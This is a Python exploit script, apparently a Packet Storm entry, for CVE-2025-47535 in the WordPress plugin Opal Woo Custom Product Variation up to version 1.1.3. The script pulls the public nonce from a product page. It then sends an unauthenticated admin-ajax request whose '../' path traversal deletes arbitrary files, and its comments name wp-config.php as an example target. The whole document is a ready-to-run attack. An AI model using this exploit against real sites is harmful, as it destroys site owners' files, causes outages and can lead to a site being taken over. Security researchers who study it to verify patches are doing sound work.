Share
## https://sploitus.com/exploit?id=PACKETSTORM:226449
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Opal Woo Custom Product Variation <= 1.1.3 - Unauthenticated Arbitrary File Deletion
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/opal-woo-custom-product-variation/
    # Software Link: https://downloads.wordpress.org/plugin/opal-woo-custom-product-variation.1.1.3.zip
    # Version: 1.1.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-47535
    """
    Opal Woo Custom Product Variation <= 1.1.3 nopriv admin-ajax action owcpv_delete_fineuploader does
    wp_delete_file(uploads/owcpv_uploads/ . $_POST['temp_file']) with no path-traversal containment
    (class-owcpv-frontend.php:794) -> unauthenticated arbitrary file deletion. Nonce
    opalwoocu.security_nonce is a public front-end nonce printed on any product page. Demonstrated
    against a canary; ../ traverses out of owcpv_uploads (e.g. to delete wp-config.php).
    Prior state: WooCommerce active + one product page (for the public nonce).
    """
    import argparse, sys, re
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--product-path", default="/product/alpha-widget/")
        ap.add_argument("--file", default="../canary_opal.txt", help="path relative to uploads/owcpv_uploads/")
        a = ap.parse_args(); base = a.target.rstrip("/")
        s = requests.Session(); s.verify = False
        m = re.search(r'"security_nonce":"([a-f0-9]+)"', s.get(base + a.product_path).text)
        nonce = m.group(1) if m else None
        print(f"[*] Target: {base} | public nonce: {nonce} | deleting: {a.file}")
        r = s.post(base + "/wp-admin/admin-ajax.php",
                   data={"action": "owcpv_delete_fineuploader", "temp_file": a.file,
                         "ajax_nonce_parameter": nonce}, timeout=20)
        print(f"[*] owcpv_delete_fineuploader -> HTTP {r.status_code} :: {r.text[:80]}")
        if '"success":true' in r.text:
            print("\n[+] Arbitrary file deletion CONFIRMED (unauthenticated)."); return 0
        print("\n[-] not confirmed"); return 1
    
    if __name__ == "__main__":
        sys.exit(main())